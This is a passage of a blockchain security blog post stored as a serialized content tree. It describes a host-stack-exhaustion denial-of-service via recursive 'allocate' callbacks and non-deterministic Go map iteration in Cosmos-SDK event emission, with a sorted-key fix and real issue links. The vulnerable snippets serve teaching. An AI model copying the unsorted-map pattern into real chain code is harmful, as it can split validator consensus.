Querier",{"type":21,"tag":85,"props":77275,"children":77276},{"style":114},[77277],{"type":26,"value":924},{"type":21,"tag":85,"props":77279,"children":77280},{"class":87,"line":98},[77281,77285,77289,77293,77298,77302,77306,77310,77314,77318,77322],{"type":21,"tag":85,"props":77282,"children":77283},{"style":120},[77284],{"type":26,"value":4605},{"type":21,"tag":85,"props":77286,"children":77287},{"style":169},[77288],{"type":26,"value":172},{"type":21,"tag":85,"props":77290,"children":77291},{"style":169},[77292],{"type":26,"value":1487},{"type":21,"tag":85,"props":77294,"children":77295},{"style":108},[77296],{"type":26,"value":77297},"Environment",{"type":21,"tag":85,"props":77299,"children":77300},{"style":114},[77301],{"type":26,"value":117},{"type":21,"tag":85,"props":77303,"children":77304},{"style":108},[77305],{"type":26,"value":77229},{"type":21,"tag":85,"props":77307,"children":77308},{"style":114},[77309],{"type":26,"value":256},{"type":21,"tag":85,"props":77311,"children":77312},{"style":108},[77313],{"type":26,"value":22478},{"type":21,"tag":85,"props":77315,"children":77316},{"style":114},[77317],{"type":26,"value":256},{"type":21,"tag":85,"props":77319,"children":77320},{"style":108},[77321],{"type":26,"value":77264},{"type":21,"tag":85,"props":77323,"children":77324},{"style":114},[77325],{"type":26,"value":461},{"type":21,"tag":85,"props":77327,"children":77328},{"class":87,"line":151},[77329,77334,77338,77342,77346,77350],{"type":21,"tag":85,"props":77330,"children":77331},{"style":120},[77332],{"type":26,"value":77333},"    input",{"type":21,"tag":85,"props":77335,"children":77336},{"style":169},[77337],{"type":26,"value":172},{"type":21,"tag":85,"props":77339,"children":77340},{"style":169},[77341],{"type":26,"value":1487},{"type":21,"tag":85,"props":77343,"children":77344},{"style":114},[77345],{"type":26,"value":3016},{"type":21,"tag":85,"props":77347,"children":77348},{"style":108},[77349],{"type":26,"value":4190},{"type":21,"tag":85,"props":77351,"children":77352},{"style":114},[77353],{"type":26,"value":14681},{"type":21,"tag":85,"props":77355,"children":77356},{"class":87,"line":160},[77357,77361,77365,77370,77374,77379],{"type":21,"tag":85,"props":77358,"children":77359},{"style":114},[77360],{"type":26,"value":736},{"type":21,"tag":85,"props":77362,"children":77363},{"style":169},[77364],{"type":26,"value":14175},{"type":21,"tag":85,"props":77366,"children":77367},{"style":108},[77368],{"type":26,"value":77369}," VmResult",{"type":21,"tag":85,"props":77371,"children":77372},{"style":114},[77373],{"type":26,"value":117},{"type":21,"tag":85,"props":77375,"children":77376},{"style":108},[77377],{"type":26,"value":77378},"u32",{"type":21,"tag":85,"props":77380,"children":77381},{"style":114},[77382],{"type":26,"value":1627},{"type":21,"tag":85,"props":77384,"children":77385},{"class":87,"line":185},[77386,77390,77395,77399,77404,77408,77412,77416,77420,77424,77428],{"type":21,"tag":85,"props":77387,"children":77388},{"style":102},[77389],{"type":26,"value":3778},{"type":21,"tag":85,"props":77391,"children":77392},{"style":120},[77393],{"type":26,"value":77394}," out_size",{"type":21,"tag":85,"props":77396,"children":77397},{"style":169},[77398],{"type":26,"value":1941},{"type":21,"tag":85,"props":77400,"children":77401},{"style":1021},[77402],{"type":26,"value":77403}," to_u32",{"type":21,"tag":85,"props":77405,"children":77406},{"style":114},[77407],{"type":26,"value":1439},{"type":21,"tag":85,"props":77409,"children":77410},{"style":120},[77411],{"type":26,"value":2724},{"type":21,"tag":85,"props":77413,"children":77414},{"style":169},[77415],{"type":26,"value":73},{"type":21,"tag":85,"props":77417,"children":77418},{"style":1021},[77419],{"type":26,"value":3520},{"type":21,"tag":85,"props":77421,"children":77422},{"style":114},[77423],{"type":26,"value":42414},{"type":21,"tag":85,"props":77425,"children":77426},{"style":169},[77427],{"type":26,"value":3927},{"type":21,"tag":85,"props":77429,"children":77430},{"style":114},[77431],{"type":26,"value":2535},{"type":21,"tag":85,"props":77433,"children":77434},{"class":87,"line":501},[77435,77439,77443,77447,77451,77455,77460,77464,77468,77472,77476,77480,77485,77489,77493,77498,77502],{"type":21,"tag":85,"props":77436,"children":77437},{"style":102},[77438],{"type":26,"value":3778},{"type":21,"tag":85,"props":77440,"children":77441},{"style":120},[77442],{"type":26,"value":3541},{"type":21,"tag":85,"props":77444,"children":77445},{"style":169},[77446],{"type":26,"value":1941},{"type":21,"tag":85,"props":77448,"children":77449},{"style":120},[77450],{"type":26,"value":43408},{"type":21,"tag":85,"props":77452,"children":77453},{"style":169},[77454],{"type":26,"value":73},{"type":21,"tag":85,"props":77456,"children":77457},{"style":1021},[77458],{"type":26,"value":77459},"call_function1",{"type":21,"tag":85,"props":77461,"children":77462},{"style":114},[77463],{"type":26,"value":1439},{"type":21,"tag":85,"props":77465,"children":77466},{"style":5026},[77467],{"type":26,"value":77190},{"type":21,"tag":85,"props":77469,"children":77470},{"style":114},[77471],{"type":26,"value":256},{"type":21,"tag":85,"props":77473,"children":77474},{"style":169},[77475],{"type":26,"value":2238},{"type":21,"tag":85,"props":77477,"children":77478},{"style":114},[77479],{"type":26,"value":3016},{"type":21,"tag":85,"props":77481,"children":77482},{"style":120},[77483],{"type":26,"value":77484},"out_size",{"type":21,"tag":85,"props":77486,"children":77487},{"style":169},[77488],{"type":26,"value":73},{"type":21,"tag":85,"props":77490,"children":77491},{"style":1021},[77492],{"type":26,"value":15304},{"type":21,"tag":85,"props":77494,"children":77495},{"style":114},[77496],{"type":26,"value":77497},"()])",{"type":21,"tag":85,"props":77499,"children":77500},{"style":169},[77501],{"type":26,"value":3927},{"type":21,"tag":85,"props":77503,"children":77504},{"style":114},[77505],{"type":26,"value":2535},{"type":21,"tag":85,"props":77507,"children":77508},{"class":87,"line":697},[77509,77513,77518,77522,77527,77531,77535,77539,77543,77547],{"type":21,"tag":85,"props":77510,"children":77511},{"style":102},[77512],{"type":26,"value":3778},{"type":21,"tag":85,"props":77514,"children":77515},{"style":120},[77516],{"type":26,"value":77517}," target_ptr",{"type":21,"tag":85,"props":77519,"children":77520},{"style":169},[77521],{"type":26,"value":1941},{"type":21,"tag":85,"props":77523,"children":77524},{"style":1021},[77525],{"type":26,"value":77526}," ref_to_u32",{"type":21,"tag":85,"props":77528,"children":77529},{"style":114},[77530],{"type":26,"value":1439},{"type":21,"tag":85,"props":77532,"children":77533},{"style":169},[77534],{"type":26,"value":2238},{"type":21,"tag":85,"props":77536,"children":77537},{"style":120},[77538],{"type":26,"value":3463},{"type":21,"tag":85,"props":77540,"children":77541},{"style":114},[77542],{"type":26,"value":1900},{"type":21,"tag":85,"props":77544,"children":77545},{"style":169},[77546],{"type":26,"value":3927},{"type":21,"tag":85,"props":77548,"children":77549},{"style":114},[77550],{"type":26,"value":2535},{"type":21,"tag":85,"props":77552,"children":77553},{"class":87,"line":706},[77554,77558,77562,77566,77570],{"type":21,"tag":85,"props":77555,"children":77556},{"style":2885},[77557],{"type":26,"value":12696},{"type":21,"tag":85,"props":77559,"children":77560},{"style":120},[77561],{"type":26,"value":77517},{"type":21,"tag":85,"props":77563,"children":77564},{"style":169},[77565],{"type":26,"value":2282},{"type":21,"tag":85,"props":77567,"children":77568},{"style":2285},[77569],{"type":26,"value":2830},{"type":21,"tag":85,"props":77571,"children":77572},{"style":114},[77573],{"type":26,"value":148},{"type":21,"tag":85,"props":77575,"children":77576},{"class":87,"line":1100},[77577,77581,77585,77589,77594,77598,77603,77607,77611,77615],{"type":21,"tag":85,"props":77578,"children":77579},{"style":2885},[77580],{"type":26,"value":16164},{"type":21,"tag":85,"props":77582,"children":77583},{"style":108},[77584],{"type":26,"value":16169},{"type":21,"tag":85,"props":77586,"children":77587},{"style":114},[77588],{"type":26,"value":1439},{"type":21,"tag":85,"props":77590,"children":77591},{"style":108},[77592],{"type":26,"value":77593},"CommunicationError",{"type":21,"tag":85,"props":77595,"children":77596},{"style":169},[77597],{"type":26,"value":1087},{"type":21,"tag":85,"props":77599,"children":77600},{"style":1021},[77601],{"type":26,"value":77602},"zero_address",{"type":21,"tag":85,"props":77604,"children":77605},{"style":114},[77606],{"type":26,"value":14297},{"type":21,"tag":85,"props":77608,"children":77609},{"style":169},[77610],{"type":26,"value":73},{"type":21,"tag":85,"props":77612,"children":77613},{"style":1021},[77614],{"type":26,"value":15304},{"type":21,"tag":85,"props":77616,"children":77617},{"style":114},[77618],{"type":26,"value":15844},{"type":21,"tag":85,"props":77620,"children":77621},{"class":87,"line":1339},[77622],{"type":21,"tag":85,"props":77623,"children":77624},{"style":114},[77625],{"type":26,"value":507},{"type":21,"tag":85,"props":77627,"children":77628},{"class":87,"line":1348},[77629,77634,77638,77642,77646,77650,77654,77658,77663,77667,77671,77675,77679],{"type":21,"tag":85,"props":77630,"children":77631},{"style":1021},[77632],{"type":26,"value":77633},"    write_region",{"type":21,"tag":85,"props":77635,"children":77636},{"style":114},[77637],{"type":26,"value":1439},{"type":21,"tag":85,"props":77639,"children":77640},{"style":169},[77641],{"type":26,"value":2238},{"type":21,"tag":85,"props":77643,"children":77644},{"style":120},[77645],{"type":26,"value":36138},{"type":21,"tag":85,"props":77647,"children":77648},{"style":169},[77649],{"type":26,"value":73},{"type":21,"tag":85,"props":77651,"children":77652},{"style":1021},[77653],{"type":26,"value":76434},{"type":21,"tag":85,"props":77655,"children":77656},{"style":114},[77657],{"type":26,"value":18799},{"type":21,"tag":85,"props":77659,"children":77660},{"style":120},[77661],{"type":26,"value":77662},"target_ptr",{"type":21,"tag":85,"props":77664,"children":77665},{"style":114},[77666],{"type":26,"value":256},{"type":21,"tag":85,"props":77668,"children":77669},{"style":120},[77670],{"type":26,"value":2724},{"type":21,"tag":85,"props":77672,"children":77673},{"style":114},[77674],{"type":26,"value":1900},{"type":21,"tag":85,"props":77676,"children":77677},{"style":169},[77678],{"type":26,"value":3927},{"type":21,"tag":85,"props":77680,"children":77681},{"style":114},[77682],{"type":26,"value":2535},{"type":21,"tag":85,"props":77684,"children":77685},{"class":87,"line":1386},[77686,77690,77694,77698],{"type":21,"tag":85,"props":77687,"children":77688},{"style":108},[77689],{"type":26,"value":14751},{"type":21,"tag":85,"props":77691,"children":77692},{"style":114},[77693],{"type":26,"value":1439},{"type":21,"tag":85,"props":77695,"children":77696},{"style":120},[77697],{"type":26,"value":77662},{"type":21,"tag":85,"props":77699,"children":77700},{"style":114},[77701],{"type":26,"value":2485},{"type":21,"tag":85,"props":77703,"children":77704},{"class":87,"line":1394},[77705],{"type":21,"tag":85,"props":77706,"children":77707},{"style":114},[77708],{"type":26,"value":2671},{"type":21,"tag":22,"props":77710,"children":77711},{},[77712,77714,77720,77722,77727],{"type":26,"value":77713},"As users have complete control over ",{"type":21,"tag":66,"props":77715,"children":77717},{"className":77716},[],[77718],{"type":26,"value":77719},"allocate",{"type":26,"value":77721},", there is a possibility to call back ",{"type":21,"tag":66,"props":77723,"children":77725},{"className":77724},[],[77726],{"type":26,"value":77182},{"type":26,"value":77728}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":21,"tag":22,"props":77730,"children":77731},{},[77732,77734,77741],{"type":26,"value":77733},"Additional real-world examples include ",{"type":21,"tag":335,"props":77735,"children":77738},{"href":77736,"rel":77737},"https://github.com/cosmos/cosmos-sdk/issues/16676",[339],[77739],{"type":26,"value":77740},"not returning proper values for malformed txs",{"type":26,"value":73},{"type":21,"tag":54,"props":77743,"children":77745},{"id":77744},"order-was-the-dream-of-man",[77746],{"type":26,"value":77747},"Order Was the Dream of Man",{"type":21,"tag":22,"props":77749,"children":77750},{},[77751],{"type":26,"value":77752},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":21,"tag":22,"props":77754,"children":77755},{},[77756],{"type":26,"value":77757},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":21,"tag":75,"props":77759,"children":77761},{"code":77760,"language":76626,"meta":7,"className":76627,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[77762],{"type":21,"tag":66,"props":77763,"children":77764},{"__ignoreMap":7},[77765,77798,77805,77834,77871,77900,77921,77933,77970,77978,77985,77992],{"type":21,"tag":85,"props":77766,"children":77767},{"class":87,"line":88},[77768,77772,77777,77781,77785,77789,77793],{"type":21,"tag":85,"props":77769,"children":77770},{"style":102},[77771],{"type":26,"value":33202},{"type":21,"tag":85,"props":77773,"children":77774},{"style":108},[77775],{"type":26,"value":77776}," ObjectMap",{"type":21,"tag":85,"props":77778,"children":77779},{"style":102},[77780],{"type":26,"value":50124},{"type":21,"tag":85,"props":77782,"children":77783},{"style":114},[77784],{"type":26,"value":3016},{"type":21,"tag":85,"props":77786,"children":77787},{"style":108},[77788],{"type":26,"value":30110},{"type":21,"tag":85,"props":77790,"children":77791},{"style":114},[77792],{"type":26,"value":15830},{"type":21,"tag":85,"props":77794,"children":77795},{"style":108},[77796],{"type":26,"value":77797},"string\n",{"type":21,"tag":85,"props":77799,"children":77800},{"class":87,"line":98},[77801],{"type":21,"tag":85,"props":77802,"children":77803},{"emptyLinePlaceholder":16},[77804],{"type":26,"value":703},{"type":21,"tag":85,"props":77806,"children":77807},{"class":87,"line":151},[77808,77812,77817,77821,77826,77830],{"type":21,"tag":85,"props":77809,"children":77810},{"style":102},[77811],{"type":26,"value":76762},{"type":21,"tag":85,"props":77813,"children":77814},{"style":1021},[77815],{"type":26,"value":77816}," EmitEntries",{"type":21,"tag":85,"props":77818,"children":77819},{"style":114},[77820],{"type":26,"value":1439},{"type":21,"tag":85,"props":77822,"children":77823},{"style":120},[77824],{"type":26,"value":77825},"objectMap",{"type":21,"tag":85,"props":77827,"children":77828},{"style":108},[77829],{"type":26,"value":77776},{"type":21,"tag":85,"props":77831,"children":77832},{"style":114},[77833],{"type":26,"value":15222},{"type":21,"tag":85,"props":77835,"children":77836},{"class":87,"line":160},[77837,77841,77845,77849,77853,77857,77862,77867],{"type":21,"tag":85,"props":77838,"children":77839},{"style":2885},[77840],{"type":26,"value":3809},{"type":21,"tag":85,"props":77842,"children":77843},{"style":120},[77844],{"type":26,"value":251},{"type":21,"tag":85,"props":77846,"children":77847},{"style":114},[77848],{"type":26,"value":256},{"type":21,"tag":85,"props":77850,"children":77851},{"style":120},[77852],{"type":26,"value":39600},{"type":21,"tag":85,"props":77854,"children":77855},{"style":169},[77856],{"type":26,"value":76878},{"type":21,"tag":85,"props":77858,"children":77859},{"style":2885},[77860],{"type":26,"value":77861}," range",{"type":21,"tag":85,"props":77863,"children":77864},{"style":120},[77865],{"type":26,"value":77866}," objectMap",{"type":21,"tag":85,"props":77868,"children":77869},{"style":114},[77870],{"type":26,"value":148},{"type":21,"tag":85,"props":77872,"children":77873},{"class":87,"line":185},[77874,77878,77882,77887,77891,77896],{"type":21,"tag":85,"props":77875,"children":77876},{"style":120},[77877],{"type":26,"value":26627},{"type":21,"tag":85,"props":77879,"children":77880},{"style":114},[77881],{"type":26,"value":73},{"type":21,"tag":85,"props":77883,"children":77884},{"style":120},[77885],{"type":26,"value":77886},"EventManager",{"type":21,"tag":85,"props":77888,"children":77889},{"style":114},[77890],{"type":26,"value":73},{"type":21,"tag":85,"props":77892,"children":77893},{"style":1021},[77894],{"type":26,"value":77895},"EmitEvent",{"type":21,"tag":85,"props":77897,"children":77898},{"style":114},[77899],{"type":26,"value":1029},{"type":21,"tag":85,"props":77901,"children":77902},{"class":87,"line":501},[77903,77908,77912,77917],{"type":21,"tag":85,"props":77904,"children":77905},{"style":120},[77906],{"type":26,"value":77907},"            sdk",{"type":21,"tag":85,"props":77909,"children":77910},{"style":114},[77911],{"type":26,"value":73},{"type":21,"tag":85,"props":77913,"children":77914},{"style":1021},[77915],{"type":26,"value":77916},"NewEvent",{"type":21,"tag":85,"props":77918,"children":77919},{"style":114},[77920],{"type":26,"value":1029},{"type":21,"tag":85,"props":77922,"children":77923},{"class":87,"line":697},[77924,77929],{"type":21,"tag":85,"props":77925,"children":77926},{"style":5026},[77927],{"type":26,"value":77928},"                \"MapContext\"",{"type":21,"tag":85,"props":77930,"children":77931},{"style":114},[77932],{"type":26,"value":182},{"type":21,"tag":85,"props":77934,"children":77935},{"class":87,"line":706},[77936,77941,77945,77950,77954,77958,77962,77966],{"type":21,"tag":85,"props":77937,"children":77938},{"style":120},[77939],{"type":26,"value":77940},"                sdk",{"type":21,"tag":85,"props":77942,"children":77943},{"style":114},[77944],{"type":26,"value":73},{"type":21,"tag":85,"props":77946,"children":77947},{"style":1021},[77948],{"type":26,"value":77949},"NewAttribute",{"type":21,"tag":85,"props":77951,"children":77952},{"style":114},[77953],{"type":26,"value":1439},{"type":21,"tag":85,"props":77955,"children":77956},{"style":120},[77957],{"type":26,"value":72616},{"type":21,"tag":85,"props":77959,"children":77960},{"style":114},[77961],{"type":26,"value":256},{"type":21,"tag":85,"props":77963,"children":77964},{"style":120},[77965],{"type":26,"value":39600},{"type":21,"tag":85,"props":77967,"children":77968},{"style":114},[77969],{"type":26,"value":1074},{"type":21,"tag":85,"props":77971,"children":77972},{"class":87,"line":1100},[77973],{"type":21,"tag":85,"props":77974,"children":77975},{"style":114},[77976],{"type":26,"value":77977},"            )\n",{"type":21,"tag":85,"props":77979,"children":77980},{"class":87,"line":1339},[77981],{"type":21,"tag":85,"props":77982,"children":77983},{"style":114},[77984],{"type":26,"value":68780},{"type":21,"tag":85,"props":77986,"children":77987},{"class":87,"line":1348},[77988],{"type":21,"tag":85,"props":77989,"children":77990},{"style":114},[77991],{"type":26,"value":507},{"type":21,"tag":85,"props":77993,"children":77994},{"class":87,"line":1386},[77995],{"type":21,"tag":85,"props":77996,"children":77997},{"style":114},[77998],{"type":26,"value":2671},{"type":21,"tag":22,"props":78000,"children":78001},{},[78002],{"type":26,"value":78003},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":21,"tag":3712,"props":78005,"children":78006},{},[78007],{"type":21,"tag":22,"props":78008,"children":78009},{},[78010],{"type":26,"value":78011},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":21,"tag":22,"props":78013,"children":78014},{},[78015,78017,78022],{"type":26,"value":78016},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":21,"tag":66,"props":78018,"children":78020},{"className":78019},[],[78021],{"type":26,"value":67561},{"type":26,"value":78023}," and then fetch the values using the sorted key array before emitting them.",{"type":21,"tag":75,"props":78025,"children":78027},{"code":78026,"language":76626,"meta":7,"className":76627,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[78028],{"type":21,"tag":66,"props":78029,"children":78030},{"__ignoreMap":7},[78031,78062,78069,78096,78116,78143,78179,78186,78215,78222,78257,78284,78303,78314,78358,78365,78372,78379],{"type":21,"tag":85,"props":78032,"children":78033},{"class":87,"line":88},[78034,78038,78042,78046,78050,78054,78058],{"type":21,"tag":85,"props":78035,"children":78036},{"style":102},[78037],{"type":26,"value":33202},{"type":21,"tag":85,"props":78039,"children":78040},{"style":108},[78041],{"type":26,"value":77776},{"type":21,"tag":85,"props":78043,"children":78044},{"style":102},[78045],{"type":26,"value":50124},{"type":21,"tag":85,"props":78047,"children":78048},{"style":114},[78049],{"type":26,"value":3016},{"type":21,"tag":85,"props":78051,"children":78052},{"style":108},[78053],{"type":26,"value":30110},{"type":21,"tag":85,"props":78055,"children":78056},{"style":114},[78057],{"type":26,"value":15830},{"type":21,"tag":85,"props":78059,"children":78060},{"style":108},[78061],{"type":26,"value":77797},{"type":21,"tag":85,"props":78063,"children":78064},{"class":87,"line":98},[78065],{"type":21,"tag":85,"props":78066,"children":78067},{"emptyLinePlaceholder":16},[78068],{"type":26,"value":703},{"type":21,"tag":85,"props":78070,"children":78071},{"class":87,"line":151},[78072,78076,78080,78084,78088,78092],{"type":21,"tag":85,"props":78073,"children":78074},{"style":102},[78075],{"type":26,"value":76762},{"type":21,"tag":85,"props":78077,"children":78078},{"style":1021},[78079],{"type":26,"value":77816},{"type":21,"tag":85,"props":78081,"children":78082},{"style":114},[78083],{"type":26,"value":1439},{"type":21,"tag":85,"props":78085,"children":78086},{"style":120},[78087],{"type":26,"value":77825},{"type":21,"tag":85,"props":78089,"children":78090},{"style":108},[78091],{"type":26,"value":77776},{"type":21,"tag":85,"props":78093,"children":78094},{"style":114},[78095],{"type":26,"value":15222},{"type":21,"tag":85,"props":78097,"children":78098},{"class":87,"line":160},[78099,78104,78108,78112],{"type":21,"tag":85,"props":78100,"children":78101},{"style":102},[78102],{"type":26,"value":78103},"    var",{"type":21,"tag":85,"props":78105,"children":78106},{"style":120},[78107],{"type":26,"value":21808},{"type":21,"tag":85,"props":78109,"children":78110},{"style":114},[78111],{"type":26,"value":76689},{"type":21,"tag":85,"props":78113,"children":78114},{"style":108},[78115],{"type":26,"value":77797},{"type":21,"tag":85,"props":78117,"children":78118},{"class":87,"line":185},[78119,78123,78127,78131,78135,78139],{"type":21,"tag":85,"props":78120,"children":78121},{"style":2885},[78122],{"type":26,"value":3809},{"type":21,"tag":85,"props":78124,"children":78125},{"style":120},[78126],{"type":26,"value":251},{"type":21,"tag":85,"props":78128,"children":78129},{"style":169},[78130],{"type":26,"value":76878},{"type":21,"tag":85,"props":78132,"children":78133},{"style":2885},[78134],{"type":26,"value":77861},{"type":21,"tag":85,"props":78136,"children":78137},{"style":120},[78138],{"type":26,"value":77866},{"type":21,"tag":85,"props":78140,"children":78141},{"style":114},[78142],{"type":26,"value":148},{"type":21,"tag":85,"props":78144,"children":78145},{"class":87,"line":501},[78146,78150,78154,78159,78163,78167,78171,78175],{"type":21,"tag":85,"props":78147,"children":78148},{"style":120},[78149],{"type":26,"value":25772},{"type":21,"tag":85,"props":78151,"children":78152},{"style":169},[78153],{"type":26,"value":1941},{"type":21,"tag":85,"props":78155,"children":78156},{"style":1021},[78157],{"type":26,"value":78158}," append",{"type":21,"tag":85,"props":78160,"children":78161},{"style":114},[78162],{"type":26,"value":1439},{"type":21,"tag":85,"props":78164,"children":78165},{"style":120},[78166],{"type":26,"value":21411},{"type":21,"tag":85,"props":78168,"children":78169},{"style":114},[78170],{"type":26,"value":256},{"type":21,"tag":85,"props":78172,"children":78173},{"style":120},[78174],{"type":26,"value":72616},{"type":21,"tag":85,"props":78176,"children":78177},{"style":114},[78178],{"type":26,"value":2485},{"type":21,"tag":85,"props":78180,"children":78181},{"class":87,"line":697},[78182],{"type":21,"tag":85,"props":78183,"children":78184},{"style":114},[78185],{"type":26,"value":507},{"type":21,"tag":85,"props":78187,"children":78188},{"class":87,"line":706},[78189,78194,78198,78203,78207,78211],{"type":21,"tag":85,"props":78190,"children":78191},{"style":120},[78192],{"type":26,"value":78193},"    sort",{"type":21,"tag":85,"props":78195,"children":78196},{"style":114},[78197],{"type":26,"value":73},{"type":21,"tag":85,"props":78199,"children":78200},{"style":1021},[78201],{"type":26,"value":78202},"Strings",{"type":21,"tag":85,"props":78204,"children":78205},{"style":114},[78206],{"type":26,"value":1439},{"type":21,"tag":85,"props":78208,"children":78209},{"style":120},[78210],{"type":26,"value":21411},{"type":21,"tag":85,"props":78212,"children":78213},{"style":114},[78214],{"type":26,"value":2485},{"type":21,"tag":85,"props":78216,"children":78217},{"class":87,"line":1100},[78218],{"type":21,"tag":85,"props":78219,"children":78220},{"emptyLinePlaceholder":16},[78221],{"type":26,"value":703},{"type":21,"tag":85,"props":78223,"children":78224},{"class":87,"line":1339},[78225,78229,78233,78237,78241,78245,78249,78253],{"type":21,"tag":85,"props":78226,"children":78227},{"style":2885},[78228],{"type":26,"value":3809},{"type":21,"tag":85,"props":78230,"children":78231},{"style":120},[78232],{"type":26,"value":3814},{"type":21,"tag":85,"props":78234,"children":78235},{"style":114},[78236],{"type":26,"value":256},{"type":21,"tag":85,"props":78238,"children":78239},{"style":120},[78240],{"type":26,"value":72616},{"type":21,"tag":85,"props":78242,"children":78243},{"style":169},[78244],{"type":26,"value":76878},{"type":21,"tag":85,"props":78246,"children":78247},{"style":2885},[78248],{"type":26,"value":77861},{"type":21,"tag":85,"props":78250,"children":78251},{"style":120},[78252],{"type":26,"value":21808},{"type":21,"tag":85,"props":78254,"children":78255},{"style":114},[78256],{"type":26,"value":148},{"type":21,"tag":85,"props":78258,"children":78259},{"class":87,"line":1348},[78260,78264,78268,78272,78276,78280],{"type":21,"tag":85,"props":78261,"children":78262},{"style":120},[78263],{"type":26,"value":26627},{"type":21,"tag":85,"props":78265,"children":78266},{"style":114},[78267],{"type":26,"value":73},{"type":21,"tag":85,"props":78269,"children":78270},{"style":120},[78271],{"type":26,"value":77886},{"type":21,"tag":85,"props":78273,"children":78274},{"style":114},[78275],{"type":26,"value":73},{"type":21,"tag":85,"props":78277,"children":78278},{"style":1021},[78279],{"type":26,"value":77895},{"type":21,"tag":85,"props":78281,"children":78282},{"style":114},[78283],{"type":26,"value":1029},{"type":21,"tag":85,"props":78285,"children":78286},{"class":87,"line":1386},[78287,78291,78295,78299],{"type":21,"tag":85,"props":78288,"children":78289},{"style":120},[78290],{"type":26,"value":77907},{"type":21,"tag":85,"props":78292,"children":78293},{"style":114},[78294],{"type":26,"value":73},{"type":21,"tag":85,"props":78296,"children":78297},{"style":1021},[78298],{"type":26,"value":77916},{"type":21,"tag":85,"props":78300,"children":78301},{"style":114},[78302],{"type":26,"value":1029},{"type":21,"tag":85,"props":78304,"children":78305},{"class":87,"line":1394},[78306,78310],{"type":21,"tag":85,"props":78307,"children":78308},{"style":5026},[78309],{"type":26,"value":77928},{"type":21,"tag":85,"props":78311,"children":78312},{"style":114},[78313],{"type":26,"value":182},{"type":21,"tag":85,"props":78315,"children":78316},{"class":87,"line":1402},[78317,78321,78325,78329,78333,78337,78341,78345,78349,78353],{"type":21,"tag":85,"props":78318,"children":78319},{"style":120},[78320],{"type":26,"value":77940},{"type":21,"tag":85,"props":78322,"children":78323},{"style":114},[78324],{"type":26,"value":73},{"type":21,"tag":85,"props":78326,"children":78327},{"style":1021},[78328],{"type":26,"value":77949},{"type":21,"tag":85,"props":78330,"children":78331},{"style":114},[78332],{"type":26,"value":1439},{"type":21,"tag":85,"props":78334,"children":78335},{"style":120},[78336],{"type":26,"value":72616},{"type":21,"tag":85,"props":78338,"children":78339},{"style":114},[78340],{"type":26,"value":256},{"type":21,"tag":85,"props":78342,"children":78343},{"style":120},[78344],{"type":26,"value":77825},{"type":21,"tag":85,"props":78346,"children":78347},{"style":114},[78348],{"type":26,"value":3016},{"type":21,"tag":85,"props":78350,"children":78351},{"style":120},[78352],{"type":26,"value":72616},{"type":21,"tag":85,"props":78354,"children":78355},{"style":114},[78356],{"type":26,"value":78357},"]),\n",{"type":21,"tag":85,"props":78359,"children":78360},{"class":87,"line":3145},[78361],{"type":21,"tag":85,"props":78362,"children":78363},{"style":114},[78364],{"type":26,"value":77977},{"type":21,"tag":85,"props":78366,"children":78367},{"class":87,"line":3246},[78368],{"type":21,"tag":85,"props":78369,"children":78370},{"style":114},[78371],{"type":26,"value":68780},{"type":21,"tag":85,"props":78373,"children":78374},{"class":87,"line":3255},[78375],{"type":21,"tag":85,"props":78376,"children":78377},{"style":114},[78378],{"type":26,"value":507},{"type":21,"tag":85,"props":78380,"children":78381},{"class":87,"line":3286},[78382],{"type":21,"tag":85,"props":78383,"children":78384},{"style":114},[78385],{"type":26,"value":2671},{"type":21,"tag":22,"props":78387,"children":78388},{},[78389],{"type":26,"value":78390},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":21,"tag":10022,"props":78392,"children":78394},{"id":78393},"real-world-examples-1",[78395],{"type":26,"value":77151},{"type":21,"tag":22,"props":78397,"children":78398},{},[78399,78401,78406,78408,78414,78416,78422,78424,78430],{"type":26,"value":78400},"Real-world examples of ",{"type":21,"tag":66,"props":78402,"children":78404},{"className":78403},[],[78405],{"type":26,"value":67561},{"type":26,"value":78407}," causing determinism problems can be found ",{"type":21,"tag":335,"props":78409,"children":78412},{"href":78410,"rel":78411},"https://github.com/cosmos/cosmos-sdk/pull/12487",[339],[78413],{"type":26,"value":48039},{"type":26,"value":78415},", specifically, where the result of ",{"type":21,"tag":66,"props":78417,"children":78419},{"className":78418},[],[78420],{"type":26,"value":78421},"buildCommitInfo",{"type":26,"value":78423}," is inconsistent due to iteration over the ",{"type":21,"tag":66,"props":78425,"children":78427},{"className":78426},[],[78428],{"type":26,"value":78429},"rs.stores",{"type":26,"value":78431}," map.",{"type":21,"tag":22,"props":78433,"children":78434},{},[78435],{"type":21,"tag":335,"props":78436,"children":78439},{"href":78437,"rel":78438},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[339],[78440],{"type":26,"value":77201},{"type":21,"tag":75,"props":78442,"children":78444},{"code":78443,"language":76626,"meta":7,"className":76627,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        